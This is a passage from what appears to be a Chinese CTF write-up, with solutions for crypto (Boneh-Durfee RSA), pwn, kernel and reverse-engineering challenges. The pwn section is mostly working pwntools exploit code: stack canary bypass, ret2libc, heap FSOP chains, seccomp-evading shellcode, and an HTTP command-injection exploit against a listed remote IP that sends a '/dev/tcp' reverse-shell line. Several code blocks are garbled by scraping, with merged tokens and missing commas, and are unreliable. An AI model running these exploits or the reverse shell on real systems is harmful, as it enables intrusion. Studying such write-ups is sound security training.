            return00

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus ^ mm)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus ^ (mm * nn)
    if det >= bound:
        print('We do not have det < bound. Solutions might not be found.')
        print('Try with highers m and t.')
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print('size det(L) - size e^(m*n) = ', floor(diff))
        if strict:
            return-1-1
    else:
        print('det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)')

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ mm)

    # LLL
    if debug:
        print('optimizing basis of the lattice via LLL, this can take a long time')

    BB = BB.LLL()

    if debug:
        print('LLL is done!')

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print('looking for independent vectors in the lattice')
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print('found them, using vectors', pol1_idx, 'and', pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    ifnot found_polynomials:
        print('no independant vectors could be found. This should very rarely happen...')
        return00

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print('Your prediction (delta) is too small')
        return00

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly


def example():
    ############################################
    # How To Use This Script
    ##########################################

    #
    # The problem to solve (edit the following values)
    #

    # the modulus
    N = 10037257627154486608196774801095855162090578704439233219876490744017222686494761706171113312036056644757212254824459536550416291797454693336043852190135363
    # the public exponent
    e =6701513605196718137208327145211106525052740242222174201768345944717813148931274437740087428165253744741547590314279846187850432858954606153257994418035341

    # the hypothesis on the private exponent (the theoretical maximum is 0.292)
    delta = .25# this means that d < N^delta

    #
    # Lattice (tweak those values)
    #

    # you should tweak this (after a first run), (e.g. increment it until a solution is found)
    m = 4# size of the lattice (bigger the better/slower)

    # you need to be a lattice master to tweak these
    t = int((1 - 2 * delta) * m)  # optimization from Herrmann and May
    X = 2 * floor(N ^ delta)  # this _might_ be too much
    Y = floor(N ^(1/2))  # correct if p, q are ~ same size

    #
    # Don't touch anything below
    #

    # Problem put in equation
    P.<x,y> = PolynomialRing(ZZ)
    A = int((N + 1) / 2)
    pol = 1 + x * (A + y)

    #
    # Find the solutions!
    #

    # Checking bounds
    if debug:
        print('=== checking values ===')
        print('* delta:', delta)
        print('* delta < 0.292', delta < 0.292)
        print('* size of e:', int(log(e) / log(2)))
        print('* size of N:', int(log(N) / log(2)))
        print('* m:', m, ', t:', t)

    # boneh_durfee
    if debug:
        print('=== running algorithm ===')
        start_time = time.time()

    solx, soly = boneh_durfee(pol, e, m, t, X, Y)

    # found a solution?
    if solx > 0:
        print('=== solution found ===')
        ifFalse:
            print('x:', solx)
            print('y:', soly)

        d = int(pol(solx, soly) / e)
        print('private key found:', d)
    else:
        print('=== no solution was found ===')

    if debug:
        print(('=== %s seconds ===' % (time.time() - start_time)))


if __name__ == '__main__':
    example()

解RSA

from Cryptodome.Util.number import long_to_bytes

d=1322874566486382881454604115011030734869
n = 10037257627154486608196774801095855162090578704439233219876490744017222686494761706171113312036056644757212254824459536550416291797454693336043852190135363
c = 6723803125309437675713195914771839852631361554645954138639198200804046718848872479140347495288135138109762940384847808522874831433140182790750890982139835
m=pow(c,d,n)
print(long_to_bytes(m))

b’flag{39693fd4a45b386c28c63100cc930238259891a2}’

Pwn

it_is_a_canary

开了canary,存在溢出和泄露,签到题秒了,连带泄露canary地址,可以爆破返回地址末尾到后门函数,但是我选择稳定

img
#!/usr/bin/env python3
#iamorange
#----------------------------------------------  
#main script begin:
start()
ru('canary?n')
payload=b'a'*0x18+b'b'
debug(0x12E3)
s(payload)
ru(b'a'*0x18)
canary=u64(r(8))-0x62
stack=u64(r(6).ljust(8,b'x00'))
lg(canary)
lg(stack)
payload=b'a'*0x18+p(canary)+p(stack)+p8(0x13)
r()
s(payload)

ru('canary?n')
payload=b'a'*8
s(payload)
ru(b'a'*8)
cb=u64(r(6).ljust(8,b'x00'))-0x130e
lg(cb)
r()
payload=b'a'*0x18+p(canary)+p(stack-0x10)+p(cb+0x1253)
s(payload)

ia()

flag{06f4fbbe-18e6-4414-a4a2-7d3e0c2b5728}

lllibc

一个超大溢出,基本保护没开,签到题,秒了

img
#!/usr/bin/env python3
#iamorange
#----------------------------------------------  
#main script begin:
start()
r()
pop_rdi=0x000000000040117e
pop_rsi=0x0000000000401180
pop_rdx=0x0000000000401182
ret=0x000000000040101a
payload=flat([b'a'*0x18,pop_rdi,1,pop_rsi,elf.got['write'],pop_rdx,0x10,elf.plt['write'],elf.sym['main']])
s(payload)
lb=u64(r(6).ljust(8,b'x00'))-libc.sym['write']
system=lb+libc.sym['system']
binsh=lb+next(libc.search(b'/bin/sh'))
r()
payload=flat([b'a'*0x18,ret,pop_rdi,binsh,system])
s(payload)
lg(lb)
ia()
img

flag{fe3f153e-7427-4cc1-bb29-4d5647421d06}

baby_heap

俩次uaf的机会,一次泄露,一次打apple2,没开沙盒

img

模板直接秒了

#!/usr/bin/env python3
#iamorange
def choose(x):
    sla(b'choice:n', tb(x))

def add(index,size):
    choose(1)
    sla(b'index:n', tb(index))
    sla(b'size:n', tb(size))
    
def free(index):
    choose(2)
    sla(b'index:n', tb(index))


def show(index):
    choose(4)
    sla(b'index:n', tb(index))

    

def edit(index,content):
    choose(3)
    sla(b'index:n', tb(index))

    sa(b'content:n', content)

#----------------------------------------------  
#main script begin:
start()
add(0,0x420)
add(1,0x428)
add(2,0x418)
add(3,0x420)

free(0)
add(4,0x450)
show(0)
lb=uu64()-0x21b0d0
_IO_list_all=lb+0x21b680
_IO_wfile_jumps=lb+libc.sym['_IO_wfile_jumps']
system=lb+libc.sym['system']
edit(0,b'a'*0x10)
show(0)
r(0x10)
hb=uu64()+0x900
debug('b *_IO_flush_all_lockp')

free(2)
edit(0,b'a'*0x18+p(_IO_list_all-0x20))
add(4,0x490)

fake_io = flat({
    0x0:b'  sh;',#_flags
    0x28-0x10:1,#_IO_write_ptr
    0x88-0x10:hb,#_lock
    0xa0-0x10:hb-0x20,#_wide_data
    0xc0-0x10:hb+0xd0-0x68,#_wide_data->_wide_vtable
    0xd0-0x10:system,#target_func
    0xd8-0x10:_IO_wfile_jumps,#vtable
    0xd8-0x10+0x88:hb+0xd0-0x68-0x38-0x68,#_wide_vtable->_wide_seek
},filler=b'x00')
edit(2,fake_io)
lg(hb)
lg(lb)
edit(1,b'a'*0x420+b'  sh;')

choose(5)
ia()
img

flag{0a11a32e-1539-4a71-acfb-ec4930d09af7}

ez_ptm

一次uaf 的机会,开了沙盒

img

和baby_heap一样的打法,模板秒了 ,rop直接openat,read,write秒了

本想execveat打出来,但是题目禁了open,execveat底层也调用了open所以用不了

#!/usr/bin/env python3
#iamorange
def choose(x):
    sla(b'>> ', tb(x))

def add(index,size):
    choose(1)
    sla(b'Index:n', tb(index))
    sla(b'Size:n', tb(size))
    
def free(index):
    choose(2)
    sla(b'Index:n', tb(index))

def show(index):
    choose(4)
    sla(b'Index:n', tb(index))
    

def edit(index,content):
    choose(3)
    sla(b'Index:n', tb(index))
    sla(b'Size:n', tb(len(content)))
    s(content)

def love(index):
    choose(0x1314520)
    sla(b'Index:n', tb(index))
#----------------------------------------------  
#main script begin:
start()
add(0,0x4e0)#uaf残留
add(1,0x430)#后续释放打largebins attack
add(2,0x4b0)#后续释放打largebins attack
add(3,0x450)
add(4,0x480)#largebins中
add(5,0x480)#防止合并
free(4)
love(0)
show(0)
or_hb=uu64()
hb=or_hb-0x21c0-0x9e0
edit(0,b'a'*8)
show(0)
r(8)

lb=uu64()-0x21ace0
stderr=lb+0x21b6a0
edit(0,p(or_hb))
add(6,0x4f0)
payload=flat([0,0,0,stderr-0x20-0x20])
edit(0,payload)

free(2)
add(7,0x460)
debug('b *_IO_wdoallocbuf+43','define clnttel $rebase(0x4060) 0x20','define cllnttel $rebase(0x4160) 0x20')

add(8,0x4b8)

#2.35-2.31
ret=lb+0x0000000000029139
pop_rdi=lb+0x000000000002a3e5
pop_rsi=lb+0x000000000002be51
pop_rax=lb+0x0000000000045eb0
pop_rdx_rbx=lb+0x00000000000904a9
setcontext=lb+libc.sym['setcontext']
binsh=lb+next(libc.search(b'/bin/sh'))
syscall=lb+0x0000000000091316
_IO_wfile_jumps=lb+libc.sym['_IO_wfile_jumps']
fake_io_addr=hb+0x1960
rop=flat([257,pop_rdi,0xffffff9c,pop_rsi,fake_io_addr+0x1f0,pop_rdx_rbx,0,0,syscall,pop_rdi,3,pop_rsi,fake_io_addr+0x600,pop_rdx_rbx,0x100,0,pop_rax,0,syscall,pop_rax,1,pop_rdi,1,syscall,b'/flag'])

fake_io = flat({
    0x28-0x10:1,#_IO_write_ptr
    0x88-0x10:fake_io_addr,#_lock
    0xa0-0x10:fake_io_addr+0x40,#_wide_data
    0xd8-0x10:_IO_wfile_jumps,#vtable
    0xe0-0x10:fake_io_addr+0xe0+0x50,#set rsp
    0xe8-0x10:ret,#step2 set rcx, push
    0xf0-0x10:fake_io_addr+0x130,#set rsp
    0xf8-0x10:pop_rax,#step2 set rcx, push
    0x120-0x10:fake_io_addr+0xe8+0x40-0x68,#_wide_data->_wide_vtable
    0x128-0x10:setcontext+61,#rdi=&flags,rdx=&_wide_data 2.31前setcontext+53 step1
    0x130-0x10:fake_io_addr+0xe8+0x40-0x68-0x10,#ret_addr step3
    0x130:rop,
},filler=b'x00')

#payload=fake_io[0x10:] largebins_attack
payload=fake_io

edit(0,payload)
choose(5)
lg(lb)
lg(fake_io_addr)
lg(hb)
ia()
img

flag{8ddec391-2fa6-491b-a638-e0a97c5664e7}

ez_kk

/sbin权限没上好,直接把poweroff内容改成/bin/sh,直接exit触发即可,和sctf一样的打法

img

flag{k3rn1l_1s_50_intr3571ng}

babyshellcode

shellcode题,直接jmp $+3+b''绕过strlen,然后正常打

img

沙盒开了,没限制住系统调用号>=0x40000000,直接用系统调用号大于0x40000000的绕过即可,很简单

img
#!/usr/bin/env python3
#iamorange
#----------------------------------------------  
#main script begin:
start()
sh=asm('''
       jmp $+3
       '''
)+b''
sh+=asm('''
        mov ax,2
        mov rcx, 0x67616c662f2f
        push rcx
        push rsp
        pop rdi
        xor esi,esi
        xor edx,edx
        syscall
        xchg rax,rdi
        xor eax,eax
        mov rsi,0x123400
        mov dx,0x100
        syscall
        mov rax,0x40000001
        mov di,1
        syscall
        '''
)
debug(0x1299,'c')
s(sh)
ia()
img

flag{easy_shellc0de_r1ght?}

ez_tank

逆出请求包格式

img
img

发现这里存在执行漏洞,并且这个path是我们可以控制的,在msg的内容内

img
img

难点在这个strtok的分割中,出现问题,偏移与正常截取到的差1

img

直接通过尝试发现这样可以实现正常截取我们的msg

    'msg': b64_payload,
    'username''aaaaaaaa',
    'a'msg': b64_payload,

以下是exp,由于没有回显直接反弹shell即可,ip不方便展示

from pwn import *
import base64
import json
def debug(*args):
    #define clnttel $rebase(0x5060)  
    gdbcmd = []
    for i in args:
        if isinstance(i, int):
            if i>0x10000:
                this = f'b *{i:#x}'
            else:
                this = f'b *$rebase({i:#x})'
        else: this = i
        gdbcmd.append(this)
    gdb.attach(p, 'n'.join(gdbcmd))
context(os='linux', arch='amd64')
context.log_level = 'debug'
# p=process('./httpd')
# debug(0x03845,0x39ef,0x3B85)
# 建立连接
io = remote('27.25.151.26'12471)
# io=remote('localhost',9999)
#27.25.151.26:12471

# 构造 payload
bash_cmd = b'/bin/bashx00'
b64_payload = base64.b64encode(bash_cmd).decode()

# 构造 JSON 数据
body = json.dumps({
    'msg': b64_payload,
    'username''aaaaaaaa',
    'a'msg': b64_payload,
})
body_bytes = body.encode()

http_req = (
    b'POST /check.cgi HTTP/1.1rn' +
    b'Content-Length: ' + str(len(body_bytes)).encode() + b'rn' +
    b'Content-Type: application/x-www-form-urlencoded ' + b'rn' +
    b'rn' +
    # b'{'username': 'aaaaaaaa', 'msgdd': 'bbbbbbbb, 'msg': 'L2Jpbi9zaAA=' }'
    body_bytes
)
# 发送请求
io.send(http_req)
sleep(0.05)
io.sendline('sh -i >& /dev/tcp/ip/port 0>&1')
# 可选交互
io.interactive()
img

flag{a28c43fa-7f72-496c-8b7f-289b112153a3}

Re

ezBase

img

exeinfo查看,upx壳子

img

010editor查看文件格式可发现其符合UPX壳的区段码,但是出题人把大写改成了小写,改回大写即可upx -d

img

IDA64位打开即可

img

可见sub_140001130就是加密函数

img

可以从这里直接看到字母表和密文,直接对着1130函数反写即可

img

获得flag{Y0u_@R3_Upx_4nd_b45364_m4st3r!}

你知道Base么

img

64位无壳直接做

img

可见这个由两个部分组成,上半部分是tea加密,下半部分需要我们自行寻找base加密表

tea加密的逻辑都在 sub_7FF65715140B里面,点进去就可以看到

img

标准tea加密,直接写代码运行即可

#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t* v, uint32_t* key) {
    uint32_t v4 = v[0];
    uint32_t v5 = v[1];
    uint32_t delta = 0x61C88647
    uint32_t v6 = -32 * delta;
    for (int i = 0; i < 32; i++) {
        uint32_t g_part = (key[3] + (v4 >> 5)) ^ (v6 + v4) ^ (key[2] + 16 * v4);
        v5 -= g_part;
        uint32_t f_part = (key[1] + (v5 >> 5)) ^ (v6 + v5) ^ (key[0] + 16 * v5);
        v4 -= f_part;
        v6 += delta;
    }

    v[0] = v4;
    v[1] = v5;
}

int main() {
    uint32_t cipher[2] = { 0xA92F38650x9E60E953 };
    uint32_t key[4] = { 0x123456780x3456789A0x89ABCDEF0x12345678 };
    decrypt(cipher, key);
    unsignedchar* flag = (unsignedchar*)cipher;
    printf('key1: ');
    for (int i = 0; i < 8; i++) {
        printf('%c', flag[i]);
    }
    printf('n');
    return0;
}
img

得到一阶段密钥  y0uokTea

第二阶段依题意是需要我们寻找base64的码表

img

然后就可以看到这段rc4加密的内容,由此我们可以得知上一步的y0uokTea同时也是rc4的密钥

了解了rc4的代码后直接写解密代码即可

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
uint8_trc4_keystream(const uint8_t* key_bytes, size_t key_len, size_t length) {
    uint8_t* S = (uint8_t*)malloc(256 * sizeof(uint8_t));
    for (int i = 0; i < 256; i++) {
        S[i] = i;
    }
    int j = 0;
    for (int i = 0; i < 256; i++) {
        j = (j + S[i] + key_bytes[i % key_len]) % 256;
        uint8_t tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
    }
    uint8_t* out = (uint8_t*)malloc(length * sizeof(uint8_t));
    int i = 0;
    j = 0;
    for (size_t n = 0; n < length; n++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        uint8_t tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
        uint8_t t = (S[i] + S[j]) % 256;
        out[n] = S[t];
    }
    return out;
}
uint8_tbase_decode(const uint8_t* cipher_bytes, size_t cipher_len, const uint8_t* table, size_t table_len, size_t* out_len) {
    int* idxs = (int*)malloc(cipher_len * sizeof(int));
    for (size_t i = 0; i < cipher_len; i++) {
        for (int j = 0; j < table_len; j++) {
            if (table[j] == cipher_bytes[i]) {
                idxs[i] = j - 1;
                break;
            }
        }
    }
    uint32_t bits = 0;
    int bitlen = 0;
    uint8_t* out = (uint8_t*)malloc(cipher_len * 5 / 8 + 1);
    size_t out_pos = 0;
    for (size_t i = 0; i < cipher_len; i++) {
        bits = (bits << 5) | (idxs[i] & 0x1F);
        bitlen += 5;
        while (bitlen >= 8) {
            bitlen -= 8;
            out[out_pos++] = (bits >> bitlen) & 0xFF;
        }
    }
    *out_len = out_pos;
    return out;
}

int main() {
    uint8_t key_bytes[8] = { 'y''0''u''o''k''T''e''a' };
    int8_t v21[] = { -448935118-76-65-294488-1138625-38-16-64-67,
                    54611237027-722331-29-48369-514-19-55,
                    103-26-8541-89-6811-349248113-41-4390-58-97,
                    64101-60113-87-61-82-39-75-2718-1160x80 };
    size_t cipher2_len = sizeof(v21) / sizeof(v21[0]);
    uint8_t* cipher2 = (uint8_t*)malloc(cipher2_len);
    for (size_t i = 0; i < cipher2_len; i++) {
        cipher2[i] = (uint8_t)v21[i];
    }
    uint8_t* ks = rc4_keystream(key_bytes, 8, cipher2_len);
    uint8_t* table_bytes = (uint8_t*)malloc(cipher2_len);
    for (size_t i = 0; i < cipher2_len; i++) {
        table_bytes[i] = (cipher2[i] - ks[i]) & 0xFF;
    }
    constchar* cipher3_str = '0tCPwtnncFZyYUlSK/4Cw0/echcG2lteBWnG2Ulw0htCYTMW';
    size_t cipher3_len = strlen(cipher3_str);
    uint8_t* cipher3 = (uint8_t*)cipher3_str;
    size_t table_len = cipher2_len;
    size_t flag_len;
    uint8_t* flag = base_decode(cipher3, cipher3_len, table_bytes, table_len, &flag_len);
    printf('flag = %.*sn', (int)flag_len, flag);
    return0;
}
img

Hookme

jadx打开找到MainActivity,主体逻辑就是输入进行rc4加密再和密文进行比对

img

这里密文是通过R的id来进行索引的,可以在res/values/string.xml下找到

img

Adb shell之后启动frida-server

img

用objection进行hook

img

因为是rc4加密,随便输入就可以得到要异或的数,0是以字符串输入的,hook的数再异或0x30就是要异或的数

img

写出脚本得到flag

xor=[-92,105,-23,-33,-8,-95,-75,-126,-87,69,-25,-28,-103,-59,-67,99,-125,-8,-12,-78,-76,95,77,-27,-13,-24,47,-62,-121,-72,-101,36,-84,-39,-105,-98,-8,80]
enflag=[0xf20x350xb80x880xb3 ,0xf40xe00x8b0xff0x170xe70xe20x9b0xc30xbf0x670xd00xf90xa1,
 0xb70xb60x580x1b0xb40xa10xeb0x290x960x840xe90x990x230xa80xd10x930xca0xf90x1d]
flag=''
for i in range(38):
    a=xor[i]&0xff
    enflag[i]=enflag[i]^a^0x30
    flag+=chr(enflag[i])
print(flag)
img